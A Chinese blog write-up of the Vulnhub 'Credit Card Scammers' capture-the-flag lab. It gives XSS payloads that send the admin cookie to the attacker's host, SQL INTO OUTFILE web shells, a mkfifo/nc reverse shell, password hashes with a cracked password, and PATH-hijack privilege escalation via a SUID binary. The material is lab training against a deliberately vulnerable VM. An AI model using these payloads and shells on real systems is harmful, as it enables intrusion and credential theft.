Vulnhub之Credit_Card_Scammers靶场渗透
前言
一次“夺旗”练习,涵盖了许多不同的技巧。
背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达。我们发现了一个诈骗网站,我们认为该网站正在从受害者那里获取信用卡信息。您的目标是通过获得root访问权来删除欺诈网站,并识别其服务器上的3个标志。我们的情报显示,骗子正在积极审查所有订单,以便快速利用信用卡信息。(本次靶场涵盖了SQL写入恶意文件漏洞配合远程命令执行、XSS漏洞)
靶场环境
kali: 192.168.31.28
Credit_Card_Scammers: 192.168.31.119
靶机环境下载链接:https://www.vulnhub.com/entry/credit-card-scammers-1,479/
环境搭建
首先导入我们的虚拟机,我们这里使用的virtualbox搭建的,首先点击管理,点击导入虚拟电脑,,选择你下载的靶机,导入后修改网络设置(这里方便演示我使用了桥接),导入后开启虚拟机,出现一个登陆界面说明成功
靶机渗透
nmap 192.168.31.0/24 //查找存活主机
查看到有一个主机192.168.31.119存活,进行详细扫描检测
nmap 192.168.31.119 -sT -O //查看主机端口信息及操作系统和版本
发现靶机开放了22 80 443 端口,但是9090是被关闭了,不清楚是否有用处,暂时放一边,我们先尝试用80去访问,22和443说不定后面还有用,也是先放一边。访问到网页发现是一个医疗用品销售网站,还发现了一个buynow.php页面,然后就没有其他的了
毫无头绪的时候,使用目录扫描工具进行检测,意外发现了一个后台登录点
python dirsearch.py -u http://192.168.31.119/ -e*
查看后台登录页面,但是要账号密码登录,弱口令爆破不现实,采取其他方法尝试,这里看到框,想到xss,尝试xss测试是否有漏洞(http://dnslog.cn)
"<script src="http://stgw1q.dnslog.cn">alert('xss')</script>" //用dnslog.cn测试是否存在漏洞,dnslog.cn有回显说明有漏洞
构造xss获取index.html访问使用的cookie
"<script src="http://192.168.31.28/index.html"></script>"
"<script>new Image().src="http://192.168.31.28/?co="+document.cookie;</script>"
此处的ip是kali的ip,注意所有框都要插入代码,提交查询前要在kali开启apache2,提交后查看kali中的apache2日志
cat /var/log/apache2/access.log
拿到cookie,去index.html,打开开发者工具(F12),将获取到的cookie替换掉原来的cookie,再访问http://192.168.31.119/_admin/dist就是进入后台了
查看后台有没有什么注入点,找了半天就只有这个框,下面显示说可以执行SQL命令
但是执行了一堆SQL命令没啥用,没有任何回显,决定尝试一下写入文件,不执行不知道,一执行吓一跳,发现可以利用SQL写入任意文件,代码如下:
select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php"
//写入一个可以执行系统命令的system函数,参数为cmd,传参方式为GET
写入之后尝试访问shell.php查看是否写入成功
既然已经可以配合命令执行,我们直接写入一句话木马,蚁剑连接靶机后台拿到webshell
echo '<?php @eval($_POST["cmd"]);?>' > cmd.php
蚁剑连接成功,尝试nc连接,但是发现nc连接不了,执行不同的nc连接命令都不行
最后我想到一个连接方法,就是利用在/var/www/html下新建一个php文件,使用一开始nmap检测到的443端口作为nc监听的端口,在tmp建立一个临时文件作为连接文件
<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.28 443 >/tmp/f");?>
写入且保存成功后,kali开启监听443端口,然后我也访问新建的php,我的是66.php,所以我直接访问http://192.168.31.28/66.php,发现反弹成功
尝试sudo -l 查看是否可以不需要密码的登录,发现sudo -l也是无济于事
查看/home,一般情况用户的目录都会在/home下,所以我们找到home目录,查看有什么可用的用户存在,在此发现了两个用户,一个是admin,一个是moneygrabber
四处逛了逛发现没有什么存储密码的地方,矛头指向了数据库,在settings中看到了数据库配置文件config.php,给了账号密码,直接连接mysql,但是我这里有个bug,数据库一直连接不上,只能采用别人找到的用户和密钥。
admin:$2y$12$A4jgwtWB73.TAMIeplx0T.5oG/mnHR1gTDa8cmtTIvW3zTjdSjdjC
moneygrabber:$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogOAOYXowC
注:这里使用john --show pass.txt前必须先用john pass.txt爆破,如果显示了三串代码提示说是编码UTF-8,说明密钥的哈希值已经存在,直接就--show
将这两个用户和密钥,编写一个txt文本,随后使用john进行识别密码
john --show pass.txt
发现是hash加密的密文
拿到密码直接去切换用户,su moneygrabber 密码是 delta1
cd ~ 到主目录,查看ls -l 发现了两个文件,一个是flag,另一个是backup.sh,查看是一个执行tar的文件(cat backup.sh)
使用find / -perm -4000 2>/dev/null 查看可执行权限,发现有一个/usr/bin/backup的可执行权限,我们可以尝试用它来提权
strings /usr/bin/backup //strings命令在对象文件或二进制文件中查找可打印的字符串
由于在backup.sh中没有标明可执行的文件路径,也就是tar的路径,所以我们可以将他修改为我们想让他取得命令执行路径,这里将命令执行路径修改为 /tmp ,然后我们在主目录执行backup.sh(./backup.sh),执行脚本后会在主目录下形成一个文件,mysql.tar,但是他还需要新建一个tar文件,所以这里会报错
修改命令执行的路径
echo $PATH //查看当前命令执行路径
export PATH=/tmp //将命令执行路径修改为/tmp
此处是在/tmp下新建一个tar文件,因为.backup.sh需要有一个tar文件来写入
cd /tmp //进入/tmp目录
/usr/bin/echo '/bin/bash' > tar //使用/usr/bin/echo执行将/bin/bash写入tar文件
/usr/bin/ls //查看是否生成成功
/usr/bin/chmod 777 tar //把tar权限改为777(所有用户可读写执行)
/usr/bin/backup //调用./backup.sh
/usr/bin/id //查看是否提权成功
到此就提权成功
本文来自博客园,作者:Vice_2203,转载请注明原文链接:https://www.cnblogs.com/BlogVice-2203/p/16995065.html